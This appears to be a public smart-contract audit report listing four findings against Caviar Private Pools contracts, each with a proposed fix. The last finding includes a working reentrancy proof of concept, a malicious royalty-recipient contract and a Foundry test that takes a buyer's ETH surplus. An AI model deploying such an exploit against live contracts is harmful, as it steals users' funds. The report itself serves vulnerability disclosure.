Caviar Private Pools - 0xRobocop's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L273

Vulnerability details

Impact

The change() function of the EthRouter.sol contract cannot be called for routing of 2 or more pools. Thus, making useless the functionality of the router for changes.

Proof of Concept

The function accept as parameter Change[] calldata changes and then it iterates over the array to execute the changes. The problem resides here:

PrivatePool(_change.pool).change{value: msg.value}(
   _change.inputTokenIds,
   _change.inputTokenWeights,
   _change.inputProof,
   _change.stolenNftProofs,
   _change.outputTokenIds,
   _change.outputTokenWeights,
   _change.outputProof
);

In each iteration it tries to send as value msg.value which will fail after the first change because the router contract will no longer hold that amount.

Tools Used

Manual Review

Recommended Mitigation Steps

Use the same pattern used in buy() and sell() let the user decide how much ether to send in each change on the array:

PrivatePool(_change.pool).change{value: _change.baseTokenAmount}(
   _change.inputTokenIds,
   _change.inputTokenWeights,
   _change.inputProof,
   _change.stolenNftProofs,
   _change.outputTokenIds,
   _change.outputTokenWeights,
   _change.outputProof
);

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L632 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L750

Vulnerability details

Impact

When a flash loan is requested the msg.sender must pay a fee. The problem is that fee on the function is taken from the call to the internal function flashFee() which returns changeFee.

changeFee is a 4 decimal value, for example 25 should represent 0.0025 ETH. But because flashFee() returns changeFee as is, it will represent 25 wei.

Tools Used

Manual review

Recommended Mitigation Steps

Convert the 4 decimal value changeFee to a value with the decimals corresponding to the baseToken. Like is done on the changeFeeQuote() function.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L344 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L355 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L252 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L277

Vulnerability details

Impact

During buy() and sell() at the PrivatePool.sol contract, if payRoyalties is set to true then the buyer or seller must pay royalties. This is achieved by requesting the royaltyInfo for collections that support ERC-2981 and then the royaltyAmount is added to netInputAmount for buyers or subtracted from netOutputAmount for sellers.

But royalties are only sent when royaltyFee > 0 && recipient != address(0). It can be the case where royaltyFee is greater than zero, hence it affects netInputAmount or netOutputAmount but reciever is address(0). In this edge case, the traders paid the royalty, but this amount was not sent and stayed at the pool.

Proof of Concept

EIP-2981 does not state nothing regarding how the receiver should or must be set nor about that royaltyInfo cannot return a royaltyAmount greater than zero with a receiver as the `address(0).

NOTE: OpenZeppelin's implementation of the ERC-2981 does not allow to set a royalty percentage without also setting a receiver different than the zero address, but as can be seen this is enforced in internal functions that are not part of the standard.

For example I found this implementation that can return a royaltyFee that is greater than zero but a receiver equal to the zero address.

Tools Used

Manual Review

Recommended Mitigation Steps

Only increment netInputAmount or decrease netOutputAmount only if the royalties were actually sent

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L141 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L268 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281

Vulnerability details

Background

When msg.value > netInputAmount, the buy() function on the PrivatePool.sol contract refunds the eth surplus to the caller. When the EthRouter.sol contract is used by a user when buying, PrivatePool.sol sends the surplus to the router, which at the end of the execution sends all the surplus back to the user. This can be seen on the LoC 141 of the EthRouter.sol contract.

Impact

During the execution of the buy() function of the EthRouter.sol contract, the royalty receiver of the last buy on the array Buy[] calldata buys can steal all the eth surplus from the last and previous buys. This is achieved by reentering the buy() function of the router.

Proof of Concept

I wrote a test to show it.

1.- Change the royaltyInfo() function of the Milady.sol contract from test/shared/Milady.sol. For this:

function royaltyInfo(
        uint256,
        uint256 salePrice
) public view override returns (address, uint256) {
  return (royaltyRecipient, (salePrice * royaltyFeeRate) / 1e18);
}

This step is needed because the original contract always returned address(0xbeefbeef) as the recipient and not the royaltyRecipient that is set.

2.- Create a folder under src named Attacker and inside the folder create a file named MaliciousRecipient.sol and paste the following:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface EthRouter2 {
    struct MerkleMultiProof {
        bytes32[] proof;
        bool[] flags;
    }

    struct Buy {
        address payable pool;
        address nft;
        uint256[] tokenIds;
        uint256[] tokenWeights;
        MerkleMultiProof proof;
        uint256 baseTokenAmount;
        bool isPublicPool;
    }

    function buy(
        Buy[] calldata buys,
        uint256 deadline,
        bool payRoyalties
    ) external payable;
}

contract MaliciousRecipient {
    address payable public immutable OWNER;
    EthRouter2 public immutable ETH_ROUTER;

    bool public isLast;

    constructor(address _ethRouter, address owner) {
        OWNER = payable(owner);
        ETH_ROUTER = EthRouter2(_ethRouter);
    }

    function withdraw() external {
        uint256 balance = address(this).balance;
        OWNER.transfer(balance);
    }

    function setIsLast() external {
        require(msg.sender == OWNER);
        isLast = true;
    }

    fallback() external payable {
        if (isLast) {
            EthRouter2.Buy[] memory buyArray = new EthRouter2.Buy[](0);

            ETH_ROUTER.buy(buyArray, 0, false);

            isLast = false;
        }
    }
}

3.- Create a file under the test folder and named it EthRouterVulns.t.sol. Paste the following:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "../Fixture.sol";

import "../../src/Attacker/MaliciousRecipient.sol";

contract EthRouterVulns is Fixture {
    PrivatePool public privatePool;
    MaliciousRecipient public maliciousRecipientContract;

    address public alice;
    address public bob;

    function setUp() public {
        deal(address(this), 1e18);

        uint256[] memory empty = new uint256[](0);
        privatePool = factory.create{value: 1e18}(
            address(0),
            address(milady),
            10e18, // virtualBaseTokenReserves
            11e18, // virtualNftReserves
            0, // changeFee
            0, // feeRate
            bytes32(0), // merkle root
            false,
            true,
            bytes32(address(this).balance), // random between each call to _addBuy
            empty,
            1e18
        );

        for (uint256 i = 0; i < 2; i++) {
            milady.mint(address(privatePool), i);
        }
    }

    function test_royaltyRecipientCanStealETHSurplusDuringBuy() public {
        alice = vm.addr(777);
        deal(alice, 10e18);

        bob = vm.addr(666);
        deal(bob, 1e18);

        maliciousRecipientContract = new MaliciousRecipient(
            address(ethRouter),
            bob
        );

        // Set the malicious contract as the royalty recipient.
        uint256 royaltyFeeRate = 0.1e18; // 10%
        milady.setRoyaltyInfo(
            royaltyFeeRate,
            address(maliciousRecipientContract)
        );

        // Note: Bob will call this only when he knows that his nft collection is the last on the array
        // and when there is going to be a surplus either from the previous buys or on this (the last one).
        vm.prank(bob);
        maliciousRecipientContract.setIsLast();

        // The balance of the malicious recipient is zero at the beggining.
        assertEq(address(maliciousRecipientContract).balance, 0);
        // Alice has all of her balance.
        assertEq(alice.balance, 10e18);

        // How much of eth to pay for one milady
        (uint256 ethToPay, , ) = privatePool.buyQuote(1e18);
        uint256 royaltyToPay = (ethToPay * 1e17) / 1e18;
        uint256 netEthToPay = ethToPay + royaltyToPay;

        EthRouter.Buy[] memory buys = new EthRouter.Buy[](1);
        uint256[] memory tokenIds = new uint256[](1);

        // To not lose generality the array will only contain 1 buy, hence this is the last one.
        // But the array can contain any number of elements.
        tokenIds[0] = 1;
        buys[0] = EthRouter.Buy({
            pool: payable(address(privatePool)),
            nft: address(milady),
            tokenIds: tokenIds,
            tokenWeights: new uint256[](0),
            proof: PrivatePool.MerkleMultiProof(
                new bytes32[](0),
                new bool[](0)
            ),
            baseTokenAmount: netEthToPay + 5e18,
            isPublicPool: false
        });

        vm.prank(alice);
        ethRouter.buy{value: netEthToPay + 5e18}(buys, 0, false);

        // Alice ended up with only 3.9 ETH. The surplus of 5 ETH was not sent back to her.
        assertEq(alice.balance, 39e17);
        // The private pool only received 1 ETH.
        assertEq(address(privatePool).balance, 2e18);

        // The surplus of 5 ETH went to the malicious recipient.
        assertEq(address(maliciousRecipientContract).balance, 51e17);
    }
}

NOTE: In the test, Alice sent more Eth on purpose to make the test more straightforward, in reality a surplus can happen in any buy because someone sold a nft to the pool before the Alice's tx got confirmed. Timeline:

3.1 .- Alice sent her transaction with the exact amount of Eth, computed by her or the front end using the state of the contract at that moment.

3.2 .- Charlie sends a transaction to sell a nft on some pool (decreasing the price) that also Alice is going to use for buying.

3.3 .- For whatever reason the Charlie's tx gets confirmed first than the Alice's, hence there is a surplus that must be sended back to alice.

4 .- Run forge test --match-contract EthRouterVulns --match-test test_royaltyRecipientCanStealETHSurplusDuringBuy

Tools Used

Manual Review, Foundry tests

Recommended Mitigation Steps

Add a reentrancy lock to the buy() function of the EthRouter.sol contract.